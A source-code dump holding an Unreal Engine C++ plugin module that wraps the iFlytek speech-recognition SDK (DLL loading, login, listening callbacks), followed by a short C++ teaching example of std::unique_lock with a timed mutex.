#include "Paths.h"
#include "ThreadClass.h"
#include "IPluginManager.h"
#include "WindowsPlatformProcess.h"
#include "MessageDialog.h"
#include "SpeechRecognizer.h"
//#include "speech_recognizer.h"
const FString LoginParams = TEXT("appid = 58d087b0, work_dir = .");
const FString Session_Begin_Params = TEXT("sub = iat, domain = iat, language = zh_cn, accent = mandarin, sample_rate = 16000, result_type = plain, result_encoding = utf-8");
class FlytekVoiceSDK;
IFlytekVoiceSDK *gFFlytexSDK = nullptr;
#define LOCTEXT_NAMESPACE "FFlytekVoiceSDKModule"
extern "C"
{
void OnResult(const char* result, char is_last)
{
if (gFFlytexSDK)
{
gFFlytexSDK->OnSpeechRecResult(result, is_last);
}
}
void OnSpeechBegin()
{
if (gFFlytexSDK)
{
gFFlytexSDK->OnSpeechRecBegin();
}
}
void OnSpeechEnd(int reason)
{
if (gFFlytexSDK)
{
gFFlytexSDK->OnSpeechRecEnd(reason);
}
}
}
FFlytekVoiceSDKModule::FFlytekVoiceSDKModule()
{
gFFlytexSDK = this;
}
FFlytekVoiceSDKModule::~FFlytekVoiceSDKModule()
{
}
void FFlytekVoiceSDKModule::StartupModule()
{
if (IsAvailable())
{
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("%s"), TEXT("Module Started"));
}
#if 1
// Get the base directory of this plugin
FString BaseDir = IPluginManager::Get().FindPlugin("FlytekVoiceSDK")->GetBaseDir();
// Add on the relative location of the third party dll and load it
FString LibraryPath;
#if PLATFORM_WINDOWS
#if PLATFORM_64BITS
LibraryPath = FPaths::Combine(*BaseDir, TEXT("Binaries/ThirdParty/IFlytekSDK/Win64/msc_x64.dll"));
#else
LibraryPath = FPaths::Combine(*BaseDir, TEXT("Binaries/ThirdParty/IFlytekSDK/Win64/msc_x64.dll"));
#endif
#endif
/*DllHandle = !LibraryPath.IsEmpty() ? FPlatformProcess::GetDllHandle(*LibraryPath) : nullptr;
if (DllHandle)
{
// Call the test function in the third party library that opens a message box
}
else
{
FMessageDialog::Open(EAppMsgType::Ok, LOCTEXT("ThirdPartyLibraryError", "Failed to load voice sdk third party library"));
}
*/
// Add on the relative location of the third party dll and load it
FString DllLibraryPath;
#if PLATFORM_WINDOWS
#if PLATFORM_64BITS
DllLibraryPath = FPaths::Combine(*BaseDir, TEXT("Binaries/ThirdParty/IFlytekSDK/Win64/iat_record_sample.dll"));
#else
DllLibraryPath = FPaths::Combine(*BaseDir, TEXT("Binaries/ThirdParty/IFlytekSDK/Win64/iat_record_sample.dll"));
#endif
#endif
DllHandle = !LibraryPath.IsEmpty() ? FPlatformProcess::GetDllHandle(*LibraryPath) : nullptr;
if (DllHandle)
{
// Call the test function in the third party library that opens a message box
}
else
{
FMessageDialog::Open(EAppMsgType::Ok, LOCTEXT("ThirdPartyLibraryError", "Failed to load iat_record_sample third party library"));
}
#endif
//VoiceSDKLogin(FString(), FString(), LoginParams);
/*if (bLoginSuccessful)
{
auto error = SpeechRecInit();
if (error == 0)
{
bInitSuccessful = true;
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("Speech recognizer init successful ! "))
}
else
{
bInitSuccessful = false;
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("Speech recognizer init faild ! ErrorCode : %d"), error)
}
}*/
}
void FFlytekVoiceSDKModule::ShutdownModule()
{
if (DllHandle)
{
FPlatformProcess::FreeDllHandle(DllHandle);
}
DllHandle = nullptr;
//SpeechRecUninit();
//VoiceSDKLogout();
}
void FFlytekVoiceSDKModule::VoiceSDKLogin(const FString& UserName, const FString& Password, const FString& Params)
{
if (SpeechRecPtr)
{
SpeechRecPtr->SpeechRecLoginRequest(FString(), FString(), LoginParams);
}
else
{
SpeechRecPtr = NewObject<USpeechRecognizer>();
SpeechRecPtr->SpeechRecLoginRequest(FString(), FString(), LoginParams);
}
//TCHAR_TO_ANSI
/*
auto Result = sr_login(TCHAR_TO_ANSI(*UserName), TCHAR_TO_ANSI(*Password), TCHAR_TO_ANSI(*Params));
if (Result == 0)
{
bLoginSuccessful = true;
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("VoiceSDKLogin Successful ! "))
}
else
{
bLoginSuccessful = false;
UE_LOG(LogFlytekVoiceSDK, Error, TEXT("VoiceSDKLogin Faild ! Error code : %d"), Result)
}*/
}
void FFlytekVoiceSDKModule::VoiceSDKLogout()
{
if (SpeechRecPtr)
{
SpeechRecPtr->SpeechRecLogoutRequest();
}
/*auto Result = sr_logout();
if (Result == 0)
{
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("VoiceSDKLogout Successful ! "))
}
else
{
UE_LOG(LogFlytekVoiceSDK, Error, TEXT("VoiceSDKLogout Faild ! Error code : %d"), Result)
}*/
}
int32 FFlytekVoiceSDKModule::SpeechRecInit()
{
if (SpeechRecPtr)
{
SpeechRecPtr->SpeechRecInitRequest();
}
/*RecNotifier = {
OnResult,
OnSpeechBegin,
OnSpeechEnd
};
int32 ErrorCode = sr_init(&SpeechRec, TCHAR_TO_ANSI(*Session_Begin_Params), SR_MIC, DEFAULT_INPUT_DEVID, &RecNotifier);
return ErrorCode;
*/
return 0;
}
void FFlytekVoiceSDKModule::SpeechRecUninit()
{
if (SpeechRecPtr)
{
SpeechRecPtr->SpeechRecUninitRequest();
}
/*if (bInitSuccessful)
{
sr_uninit(&SpeechRec);
}
bInitSuccessful = false;
*/
}
void FFlytekVoiceSDKModule::SpeechRecStartListening()
{
if (SpeechRecPtr)
{
SpeechRecPtr->SpeechRecStartListeningRequest();
}
/*if (bInitSuccessful)
{
int32 ErrorCode = sr_start_listening(&SpeechRec);
if (ErrorCode == 0)
{
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("Start Speech!"))
}
else
{
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("Start Speech faild! Error Code :%d"),ErrorCode)
}
}
else
{
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("Speek Recognizer uninitialized"))
}
*/
}
void FFlytekVoiceSDKModule::SpeechRecStopListening()
{
if (SpeechRecPtr)
{
SpeechRecPtr->SpeechRecStopListeningRequest();
}
/*if (bInitSuccessful)
{
int32 ErrorCode = sr_stop_listening(&SpeechRec);
if (ErrorCode == 0)
{
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("Stop Speech!"))
}
else
{
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("Stop Speech faild! Error Code :%d"), ErrorCode)
}
}
else
{
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("Speek Recognizer uninitialized"))
}*/
}
int32 FFlytekVoiceSDKModule::SpeechRecWriteAudioData()
{
char data;
int len = 0;
return sr_write_audio_data(&SpeechRec, &data, len);
}
void FFlytekVoiceSDKModule::OnSpeechRecResult(const char* result, char is_last)
{
FString SpeechResultStr = UTF8_TO_TCHAR(result);
if (bSpeeking)
{
CallbackResult.Broadcast(SpeechResultStr);
if (is_last)
{
bSpeeking = false;
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("Speeking Last words"), *SpeechResultStr)
}
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("Speeking String :[%s]"), *SpeechResultStr)
}
}
void FFlytekVoiceSDKModule::OnSpeechRecBegin()
{
bSpeeking = true;
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("OnSpeechRecBegin"))
}
void FFlytekVoiceSDKModule::OnSpeechRecEnd(int reason)
{
if (reason == END_REASON_VAD_DETECT)
{
bSpeeking = false;
UE_LOG(LogFlytekVoiceSDK, Log, TEXT("Speeking Done"))
}
else
{
bSpeeking = false;
UE_LOG(LogFlytekVoiceSDK, Error, TEXT("On Speech Recognizer Error : %d"), reason)
}
}
void FFlytekVoiceSDKModule::StartListening()
{
//return sr_start_listening(&SpeechRec);
}
#undef LOCTEXT_NAMESPACE
IMPLEMENT_MODULE(FFlytekVoiceSDKModule, FlytekVoiceSDK)
DEFINE_LOG_CATEGORY(LogFlytekVoiceSDK); |
ce4943148e3469b8a845cf8f943600c38b67ba54 | 011ea6881985e84f0ad2c95c6b89f171936bd72f | /seminars/04/examples/unique_lock.cpp | 13f2e364ec31b8256a8378afcc4542b58c4c8914 | [] | no_license | dbeliakov/mipt-algo-2016 | 73916296c01d2632cd0fd76dc6ba71d5662ed7ea | c24eab4c41596a284f8aa6dcf3270b2b54bc1db9 | refs/heads/master | 2021-03-24T12:11:23.216948 | 2019-01-09T11:13:05 | 2019-01-09T11:13:05 | 66,865,468 | 23 | 14 | null | 2016-12-16T18:44:17 | 2016-08-29T17:36:22 | JavaScript | UTF-8 | C++ | false | false | 291 | cpp | unique_lock.cpp | #include <iostream>
#include <mutex>
#include <chrono>
int main()
{
std::timed_mutex m;
// Try lock for 2 seconds
std::unique_lock<std::timed_mutex> lock(m, std::chrono::seconds(2));
// if owns mutex, unlock it
if (!!lock) {
lock.unlock();
}
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.